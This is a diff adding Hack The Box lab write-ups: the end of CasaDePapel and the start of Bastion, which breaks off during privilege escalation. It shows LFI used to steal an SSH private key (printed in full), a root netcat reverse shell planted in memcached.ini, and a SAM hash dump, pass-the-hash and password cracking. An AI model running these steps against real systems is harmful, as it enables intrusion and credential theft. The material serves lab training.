(2 primes) + ......................................................................++++ + .............................................++++ + e is 65537 (0x010001) + + λ nihilist [ 10.10.14.7/23 ] [~/_HTB/CasaDePapel] + → ls + ca.crt ca.key client.key + + λ nihilist [ 10.10.14.7/23 ] [~/_HTB/CasaDePapel] + → openssl req -new -key client.key -out client.csr + You are about to be asked to enter information that will be incorporated + into your certificate request. + What you are about to enter is what is called a Distinguished Name or a DN. + There are quite a few fields but you can leave some blank + For some fields there will be a default value, + If you enter '.', the field will be left blank. + ----- + Country Name (2 letter code) [AU]:US + State or Province Name (full name) [Some-State]:NY + Locality Name (eg, city) []:NYC + Organization Name (eg, company) [Internet Widgits Pty Ltd]:Marvel + Organizational Unit Name (eg, section) []:DC + Common Name (e.g. server FQDN or YOUR name) []:nihilist + Email Address []:nihilist@prometheus.com + + Please enter the following 'extra' attributes + to be sent with your certificate request + A challenge password []: + An optional company name []: + + λ nihilist [ 10.10.14.7/23 ] [~/_HTB/CasaDePapel] + → ls + ca.crt ca.key client.csr client.key + + + + λ nihilist [ 10.10.14.7/23 ] [~/_HTB/CasaDePapel] + → ls + ca.crt ca.key client.csr client.key + + λ nihilist [ 10.10.14.7/23 ] [~/_HTB/CasaDePapel] + → openssl x509 -req -in client.csr -CA ca.crt -CAkey ca.key -set_serial 9001 -extensions client -days 365 -outform PEM -out client.cer + Signature ok + subject=C = US, ST = NY, L = NYC, O = Marvel, OU = DC, CN = nihilist, emailAddress = nihilist@prometheus.com + Getting CA Private Key + + + + λ nihilist [ 10.10.14.7/23 ] [~/_HTB/CasaDePapel] + → openssl pkcs12 -export -inkey client.key -in client.cer -out client.p12 + Enter Export Password: + Verifying - Enter Export Password: + + λ nihilist [ 10.10.14.7/23 ] [~/_HTB/CasaDePapel] + → ls + ca.crt ca.key client.cer client.csr client.key client.p12 + + +![](prg/30_002.png) ![](prg/30_003.png) ![](prg/30_004.png) ![](prg/30_005.png) ![](prg/30_006.png) + +And we are in ! now we are able to enumerate the box further, from here we see that clicking on season1 then shows us a bunch of avi files to download, hovering over them, we see that their hyperlink is base64 encoded, and barely changing, so let's try getting some LFI. + + + λ nihilist [ 10.10.14.7/23 ] [~/_HTB/CasaDePapel] + → curl -sk https://lacasadepapel.htb/file/Li4vLnNzaC9pZF9yc2E\= + -----BEGIN OPENSSH PRIVATE KEY----- + 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 + -----END OPENSSH PRIVATE KEY----- + + +Looks like we found a private key ! let's try logging in as one of the users : + + + λ nihilist [ 10.10.14.7/23 ] [~/_HTB/CasaDePapel] + → curl -sk https://lacasadepapel.htb/file/Li4vLnNzaC9pZF9yc2E\= > privatekey + + λ nihilist [ 10.10.14.7/23 ] [~/_HTB/CasaDePapel] + → chmod 600 privatekey + + λ nihilist [ 10.10.14.7/23 ] [~/_HTB/CasaDePapel] + → ssh -i privatekey professor@10.10.10.131 + The authenticity of host '10.10.10.131 (10.10.10.131)' can't be established. + ECDSA key fingerprint is SHA256:rA99W+GVzo0hlABp1vMj9ChhjLwybPhHTpb65AWm7xI. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added '10.10.10.131' (ECDSA) to the list of known hosts. + + _ ____ ____ ____ _ + | | __ _ / ___|__ _ ___ __ _ | _ \ ___ | _ \ __ _ _ __ ___| | + | | / _` | | | / _` / __|/ _` | | | | |/ _ \ | |_) / _` | '_ \ / _ \ | + | |__| (_| | | |__| (_| \__ \ (_| | | |_| | __/ | __/ (_| | |_) | __/ | + |_____\__,_| \____\__,_|___/\__,_| |____/ \___| |_| \__,_| .__/ \___|_| + |_| + + lacasadepapel [~]$ whoami + professor + + lacasadepapel [~]$ cd /home/professor && ls + memcached.ini memcached.js node_modules + + lacasadepapel [~]$ + + +and we are logged in ! however we still need to escalate privileges to be able to print out the flags. printing out the file memcached.ini we see some kind of a command being run and the file itself is owned by root. changing it we should be able to privesc. + +_Terminal 1:_ + + + lacasadepapel [~]$ which nc + /usr/bin/nc + lacasadepapel [~]$ vi memcached.ini + + + + [program:memcached] + command = sudo -u root /usr/bin/nc 10.10.14.7 1234 -e /bin/bash + + +_Terminal 2:_ + + + λ nihilist [ 10.10.14.7/23 ] [~/_HTB/CasaDePapel] + → nc -lvnp 1234 + listening on [any] 1234 ... + connect to [10.10.14.7] from (UNKNOWN) [10.10.10.131] 43309 + python -c 'import pty;pty.spawn("/bin/bash");' + bash-4.4# whoami + whoami + root + cd /home + bash-4.4# ls + ls + berlin dali nairobi oslo professor + bash-4.4# cd berlin + cd berlin + bash-4.4# ls + ls + downloads node_modules server.js user.txt + bash-4.4# cat user.txt + cat user.txt + 4dXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +and we are logged in as root ! all that's left to do is printing our flags. + +## **Part 3 : Getting Root Access** + + + bash-4.4# cat /root/root.txt + cat /root/root.txt + 58XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +## **Conclusion** + +Here we can see the progress graph : + +![](img/30_graph.png) + diff --git a/Easy/31.md b/Easy/31.md new file mode 100644 index 0000000..a2a89b0 --- /dev/null +++ b/Easy/31.md @@ -0,0 +1,758 @@ +# Bastion Writeup + +![](img/31.png) + +## Introduction : + +Bastion is an easy Windows Box that was released back in April 2019. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 85.171.153.138 ] [ ~/_HTB/ ] + → nmap -F 10.10.10.134 + Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-09 18:20 CET + Nmap scan report for 10.10.10.134 + Host is up (0.044s latency). + Not shown: 96 closed ports + PORT STATE SERVICE + 22/tcp open ssh + 135/tcp open msrpc + 139/tcp open netbios-ssn + 445/tcp open microsoft-ds + + Nmap done: 1 IP address (1 host up) scanned in 1.45 seconds + + λ nihilist [ 85.171.153.138 ] [ ~/_HTB/ ] + → nmap -sCV -p22,135,139,445 10.10.10.134 + Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-09 18:21 CET + Nmap scan report for 10.10.10.134 + Host is up (0.059s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH for_Windows_7.9 (protocol 2.0) + | ssh-hostkey: + | 2048 3a:56:ae:75:3c:78:0e:c8:56:4d:cb:1c:22:bf:45:8a (RSA) + | 256 cc:2e:56:ab:19:97:d5:bb:03:fb:82:cd:63:da:68:01 (ECDSA) + |_ 256 93:5f:5d:aa:ca:9f:53:e7:f2:82:e6:64:a8:a3:a0:18 (ED25519) + 135/tcp open msrpc Microsoft Windows RPC + 139/tcp open netbios-ssn Microsoft Windows netbios-ssn + 445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds + Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows + + Host script results: + |_clock-skew: mean: -19m28s, deviation: 34m37s, median: 30s + | smb-os-discovery: + | OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3) + | Computer name: Bastion + | NetBIOS computer name: BASTION\x00 + | Workgroup: WORKGROUP\x00 + |_ System time: 2019-12-09T18:21:46+01:00 + | smb-security-mode: + | account_used: guest + | authentication_level: user + | challenge_response: supported + |_ message_signing: disabled (dangerous, but default) + | smb2-security-mode: + | 2.02: + |_ Message signing enabled but not required + | smb2-time: + | date: 2019-12-09T17:21:48 + |_ start_date: 2019-12-09T16:05:13 + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 18.74 seconds + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port the smbservice running on port 135, 139 and 445, let's see if we can enumerate it a little further : + + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/] → smbclient -L //10.10.10.134/ -U "" + Unable to initialize messaging context + smbclient: Can't load /etc/samba/smb.conf - run testparm to debug it + Enter WORKGROUP\'s password: + + Sharename Type Comment + --------- ---- ------- + ADMIN$ Disk Remote Admin + Backups Disk + C$ Disk Default share + IPC$ IPC Remote IPC + Reconnecting with SMB1 for workgroup listing. + do_connect: Connection to 10.10.10.134 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) + Unable to connect with SMB1 -- no workgroup available + + + +We seem to have a few services we can work with : let's check out Backups first. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Bastion ] + → smbclient //10.10.10.134/Backups + Unable to initialize messaging context + smbclient: Can't load /etc/samba/smb.conf - run testparm to debug it + Enter WORKGROUP\nihilist's password: + Try "help" to get a list of possible commands. + smb: \> ls + . D 0 Tue Apr 16 12:02:11 2019 + .. D 0 Tue Apr 16 12:02:11 2019 + note.txt AR 116 Tue Apr 16 12:10:09 2019 + SDT65CB.tmp A 0 Fri Feb 22 13:43:08 2019 + WindowsImageBackup D 0 Fri Feb 22 13:44:02 2019 + + 7735807 blocks of size 4096. 2747575 blocks available + smb: \> get note.txt + getting file \note.txt of size 116 as note.txt (0.3 KiloBytes/sec) (average 0.3 KiloBytes/sec) + + +Now that we saved the note.txt locally we print out it's contents + + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Bastion] → cat note.txt + + Sysadmins: please don't transfer the entire backup file locally, the VPN to the subsidiary office is too slow. + + +Let's follow their advice and mount the share + + + λ root [ 10.10.14.15/23 ] [nihilist/_HTB/Bastion] + → mount -t cifs //10.10.10.134/Backups mount + Password for root@//10.10.10.134/Backups: + + λ root [ 10.10.14.15/23 ] [nihilist/_HTB/Bastion] + → ls && cd mount + mount note.txt + + λ root [ 10.10.14.15/23 ] [_HTB/Bastion/mount] + → ls + note.txt SDT65CB.tmp WindowsImageBackup + + + + +We can also enumerate the smb share using smbmap as demonstrated below : + + + λ root [ 10.10.14.15/23 ] [_HTB/Bastion/mount] + → smbmap -u nihilist -H 10.10.10.134 + [+] Finding open SMB ports.... + [+] Guest SMB session established on 10.10.10.134... + [+] IP: 10.10.10.134:445 Name: 10.10.10.134 + Disk Permissions Comment + ---- ----------- ------- + ADMIN$ NO ACCESS Remote Admin + Backups READ, WRITE + [!] Unable to remove test directory at \\10.10.10.134\BackupsvXVtBOoZjY, please remove manually + C$ NO ACCESS Default share + . + fr--r--r-- 3 Sun Dec 31 23:58:45 1600 InitShutdown + fr--r--r-- 4 Sun Dec 31 23:58:45 1600 lsass + fr--r--r-- 3 Sun Dec 31 23:58:45 1600 ntsvcs + fr--r--r-- 3 Sun Dec 31 23:58:45 1600 scerpc + fr--r--r-- 1 Sun Dec 31 23:58:45 1600 Winsock2\CatalogChangeListener-2e4-0 + fr--r--r-- 3 Sun Dec 31 23:58:45 1600 epmapper + fr--r--r-- 1 Sun Dec 31 23:58:45 1600 Winsock2\CatalogChangeListener-1cc-0 + fr--r--r-- 3 Sun Dec 31 23:58:45 1600 LSM_API_service + fr--r--r-- 3 Sun Dec 31 23:58:45 1600 eventlog + fr--r--r-- 1 Sun Dec 31 23:58:45 1600 Winsock2\CatalogChangeListener-378-0 + fr--r--r-- 3 Sun Dec 31 23:58:45 1600 atsvc + fr--r--r-- 1 Sun Dec 31 23:58:45 1600 Winsock2\CatalogChangeListener-344-0 + fr--r--r-- 4 Sun Dec 31 23:58:45 1600 wkssvc + fr--r--r-- 3 Sun Dec 31 23:58:45 1600 spoolss + fr--r--r-- 1 Sun Dec 31 23:58:45 1600 Winsock2\CatalogChangeListener-5e0-0 + fr--r--r-- 3 Sun Dec 31 23:58:45 1600 trkwks + fr--r--r-- 3 Sun Dec 31 23:58:45 1600 W32TIME_ALT + fr--r--r-- 1 Sun Dec 31 23:58:45 1600 openssh-ssh-agent + fr--r--r-- 1 Sun Dec 31 23:58:45 1600 vgauth-service + fr--r--r-- 4 Sun Dec 31 23:58:45 1600 srvsvc + fr--r--r-- 1 Sun Dec 31 23:58:45 1600 Winsock2\CatalogChangeListener-5a4-0 + fr--r--r-- 1 Sun Dec 31 23:58:45 1600 Winsock2\CatalogChangeListener-250-0 + fr--r--r-- 1 Sun Dec 31 23:58:45 1600 Winsock2\CatalogChangeListener-248-0 + IPC$ READ ONLY Remote IPC + + λ root [ 10.10.14.15/23 ] [_HTB/Bastion/mount] + → ls + note.txt SDT65CB.tmp vXVtBOoZjY WindowsImageBackup + + +The interesting thing to see here is that using smbmap it makes the directory named "vXVtBOoZjY" appear. Earlier the note.txt said that this was a massive share for their office's slow VPN, let's check the size using the **du** command. + + + λ root [ 10.10.14.15/23 ] [_HTB/Bastion/mount] + → ls + note.txt SDT65CB.tmp vXVtBOoZjY WindowsImageBackup + + λ root [ 10.10.14.15/23 ] [_HTB/Bastion/mount] + → du -hs WindowsImageBackup + 5.1G WindowsImageBackup + + +5.1 Gigs is quite alot indeed, now navigating into WindowsImageBackup we see the folder named 'L4mpje-PC' + + + λ root [ 10.10.14.15/23 ] [_HTB/Bastion/mount] + → cd WindowsImageBackup + + λ root [ 10.10.14.15/23 ] [Bastion/mount/WindowsImageBackup] + → cd L4mpje-PC + + λ root [ 10.10.14.15/23 ] [mount/WindowsImageBackup/L4mpje-PC] + → ls + 'Backup 2019-02-22 124351' Catalog MediaId SPPMetadataCache + + +The backup folder seems interesting, let's see what we can get in there. + + + λ root [ 10.10.14.15/23 ] [mount/WindowsImageBackup/L4mpje-PC] + → cd Backup\ 2019-02-22\ 124351 + + λ root [ 10.10.14.15/23 ] [WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351] + → du -hs * + 37M 9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd + 5.1G 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd + 4.0K BackupSpecs.xml + 4.0K cd113385-65ff-4ea2-8ced-5630f6feca8f_AdditionalFilesc3b9f3c7-5e52-4d5e-8b20-19adc95a34c7.xml + 12K cd113385-65ff-4ea2-8ced-5630f6feca8f_Components.xml + 8.0K cd113385-65ff-4ea2-8ced-5630f6feca8f_RegistryExcludes.xml + 4.0K cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer4dc3bdd4-ab48-4d07-adb0-3bee2926fd7f.xml + 4.0K cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer542da469-d3e1-473c-9f4f-7847f01fc64f.xml + 4.0K cd113385-65ff-4ea2-8ced-5630f6feca8f_Writera6ad56c2-b509-4e6c-bb19-49d8f43532f0.xml + 4.0K cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerafbab4a2-367d-4d15-a586-71dbb18f8485.xml + 4.0K cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerbe000cbe-11fe-4426-9c58-531aa6355fc4.xml + 8.0K cd113385-65ff-4ea2-8ced-5630f6feca8f_Writercd3f2362-8bef-46c7-9181-d62844cdc0b2.xml + 2.3M cd113385-65ff-4ea2-8ced-5630f6feca8f_Writere8132975-6f93-4464-a53e-1050253ae220.xml + + + +Right here we see two interesting .vhd harddrives one weighing 37 Megs and the other one weighing 5.1Gigs From there, we will need to mount the virtual harddrives (VHD), to do so we will use the guestmount command + + + λ root [ 10.10.14.15/23 ] [WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351] + → guestmount + zsh: command not found: guestmount + + λ root [ 10.10.14.15/23 ] [WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351] + → apt install libguestfs-tools && guestmount --help + + +Once it's done installing, run the following command : + + + λ root [ 10.10.14.15/23 ] [WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351] + → mkdir /home/nihilist/_HTB/Bastion/vhd + + λ root [ 10.10.14.15/23 ] [WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351] + → guestmount --add 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd --inspector --ro -v /home/nihilist/_HTB/Bastion/vhd + + +once it's done mounting, let's browse into the vhd directory we just created, and view the contents of the mounted virtual harddrive + + + λ root [ 10.10.14.15/23 ] [WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351] + → cd /home/nihilist/_HTB/Bastion + + λ root [ 10.10.14.15/23 ] [nihilist/_HTB/Bastion] + → cd vhd + + λ root [ 10.10.14.15/23 ] [_HTB/Bastion/vhd] + → ls + '$Recycle.Bin' config.sys pagefile.sys ProgramData Recovery Users + autoexec.bat 'Documents and Settings' PerfLogs 'Program Files' 'System Volume Information' Windows + + λ root [ 10.10.14.15/23 ] [vhd/Users/L4mpje] + → find Desktop Documents Downloads -ls + 25 0 drwxrwxrwx 1 root root 0 Feb 22 2019 Desktop + 49 1 -rwxrwxrwx 1 root root 282 Feb 22 2019 Desktop/desktop.ini + 26 4 drwxrwxrwx 1 root root 4096 Feb 22 2019 Documents + 50 1 -rwxrwxrwx 1 root root 402 Feb 22 2019 Documents/desktop.ini + 51 0 lrwxrwxrwx 2 root root 27 Feb 22 2019 Documents/My\ Music -> /sysroot/Users/L4mpje/Music + 52 0 lrwxrwxrwx 2 root root 30 Feb 22 2019 Documents/My\ Pictures -> /sysroot/Users/L4mpje/Pictures + 53 0 lrwxrwxrwx 2 root root 28 Feb 22 2019 Documents/My\ Videos -> /sysroot/Users/L4mpje/Videos + 27 0 drwxrwxrwx 1 root root 0 Feb 22 2019 Downloads + 54 1 -rwxrwxrwx 1 root root 282 Feb 22 2019 Downloads/desktop.ini + + + +nothing too interesting there, let's check out the Windows/System32/config/ folder. + + + λ root [ 10.10.14.15/23 ] [vhd/Users/L4mpje] + → cd ../.. + + λ root [ 10.10.14.15/23 ] [_HTB/Bastion/vhd] + → cd Windows/System32/config + + λ root [ 10.10.14.15/23 ] [Windows/System32/config] + → ls + BCD-Template SAM + BCD-Template.LOG SAM.LOG + COMPONENTS SAM.LOG1 + COMPONENTS{6cced2ec-6e01-11de-8bed-001e0bcd1824}.TxR.0.regtrans-ms SAM.LOG2 + COMPONENTS{6cced2ec-6e01-11de-8bed-001e0bcd1824}.TxR.1.regtrans-ms SECURITY + COMPONENTS{6cced2ec-6e01-11de-8bed-001e0bcd1824}.TxR.2.regtrans-ms SECURITY.LOG + COMPONENTS{6cced2ec-6e01-11de-8bed-001e0bcd1824}.TxR.blf SECURITY.LOG1 + COMPONENTS{6cced2ed-6e01-11de-8bed-001e0bcd1824}.TM.blf SECURITY.LOG2 + COMPONENTS{6cced2ed-6e01-11de-8bed-001e0bcd1824}.TMContainer00000000000000000001.regtrans-ms SOFTWARE + COMPONENTS{6cced2ed-6e01-11de-8bed-001e0bcd1824}.TMContainer00000000000000000002.regtrans-ms SOFTWARE.LOG + COMPONENTS.LOG SOFTWARE.LOG1 + COMPONENTS.LOG1 SOFTWARE.LOG2 + COMPONENTS.LOG2 SYSTEM + DEFAULT SYSTEM.LOG + DEFAULT.LOG SYSTEM.LOG1 + DEFAULT.LOG1 SYSTEM.LOG2 + DEFAULT.LOG2 systemprofile + Journal TxR + RegBack + + +let's copy the SAM and SYSTEM files locally. + + + λ root [ 10.10.14.15/23 ] [Windows/System32/config] + → cp SAM SYSTEM /home/nihilist/_HTB/Bastion + + λ root [ 10.10.14.15/23 ] [Windows/System32/config] + → cd ../../../.. + + λ root [ 10.10.14.15/23 ] [nihilist/_HTB/Bastion] + → ls + mount note.txt SAM SYSTEM vhd + + λ root [ 10.10.14.15/23 ] [nihilist/_HTB/Bastion] + → file SAM SYSTEM + SAM: MS Windows registry file, NT/2000 or above + SYSTEM: MS Windows registry file, NT/2000 or above + + + +Here we see that both these files are windows registry files, they may contain some interesting things. let's move them in another folder. + + + λ root [ 10.10.14.15/23 ] [nihilist/_HTB/Bastion] + → mkdir backup && mv SAM backup/ && mv SYSTEM backup/ + + λ root [ 10.10.14.15/23 ] [nihilist/_HTB/Bastion] + → cd backup + + λ root [ 10.10.14.15/23 ] [_HTB/Bastion/backup] + → ls + SAM SYSTEM + + +from there we'll use the impacket-secretsdump command : + + + λ root [ 10.10.14.15/23 ] [_HTB/Bastion/backup] + → impacket-secretsdump -sam SAM -system SYSTEM local + Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation + + [*] Target system bootKey: 0x8b56b2cb5033d8e2e289c26f8939a25f + [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) + Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: + Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: + L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9::: + [*] Cleaning up... + + +And we have a few hashes, the administrator hash is blank (31d6 means nothing) so it probably means that the administrator account is disabled. Let's focus on the L4mpje user instead, we'll use the smbmap command once again, setting the -u (user) and -p (hash) -H (host) flags + + + λ root [ 10.10.14.15/23 ] [_HTB/Bastion/backup] + → smbmap -u L4mpje -p aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9 -H 10.10.10.134 + [+] Finding open SMB ports.... + [+] Hash detected, using pass-the-hash to authenticate + [+] User session established on 10.10.10.134... + [+] IP: 10.10.10.134:445 Name: 10.10.10.134 + Disk Permissions Comment + ---- ----------- ------- + ADMIN$ NO ACCESS Remote Admin + Backups READ, WRITE + C$ NO ACCESS Default share + + +Looking at the results, we don't seem to have gained preety much anything, instead let's check out the ssh port that our nmap scan discovered earlier. In order to do so, we didn't find our password yet, we'll use the hash on https://hashes.org/search.php to see if it can guess it for us. + +![](prg/31_001.png) ![](prg/31_002.png) + +looking at the results, we seem to have credentials ! L4mpje:bureaulampje , now let's try to login as the user L4mpje through ssh. + + + λ root [ 10.10.14.15/23 ] [_HTB/Bastion/backup] + → ssh L4mpje@10.10.10.134 + The authenticity of host '10.10.10.134 (10.10.10.134)' can't be established. + ECDSA key fingerprint is SHA256:ILc1g9UC/7j/5b+vXeQ7TIaXLFddAbttU86ZeiM/bNY. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added '10.10.10.134' (ECDSA) to the list of known hosts. + L4mpje@10.10.10.134's password: + + Microsoft Windows [Version 10.0.14393] + (c) 2016 Microsoft Corporation. All rights reserved. + + l4mpje@BASTION C:\Users\L4mpje> + + +And we have user access to the box. let's print out the user flag. + + + l4mpje@BASTION C:\Users\L4mpje>cd Desktop + + l4mpje@BASTION C:\Users\L4mpje\Desktop>dir + Volume in drive C has no label. + Volume Serial Number is 0CB3-C487 + + Directory of C:\Users\L4mpje\Desktop + + 22-02-2019 15:27 <****DIR> . + 22-02-2019 15:27 <****DIR> .. + 23-02-2019 09:07 32 user.txt + 1 File(s) 32 bytes + 2 Dir(s) 11.298.652.160 bytes free + + l4mpje@BASTION C:\Users\L4mpje\Desktop>type user.txt + 9bXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + +And that's it ! We have been able to print out the user flag. + +## **Part 3 : Getting Root Access** + +Now to escalate privileges on the box we need to do a few things : + + + l4mpje@BASTION C:\Users\L4mpje>net localgroup administrators + Alias name administrators + Comment Administrators have complete and unrestricted access to the computer/domain + + Members + + ------------------------------------------------------------------------------- + Administrator + The command completed successfully. + + +Looking at the results of the **net localgroup administrators** command, we see that the user "Administrator" is there, even though we thought that he was disabled before. Let's run the net user command on our own user l4mpje to see which groups we are part of. + + + l4mpje@BASTION C:\Users\L4mpje>net user l4mpje + User name L4mpje + Full Name L4mpje + Comment + User's comment + Country/region code 000 (System Default) + Account active Yes + Account expires Never + + Password last set 22-2-2019 13:42:58 + Password expires Never + Password changeable 22-2-2019 13:42:58 + Password required Yes + User may change password No + + Workstations allowed All + Logon script + User 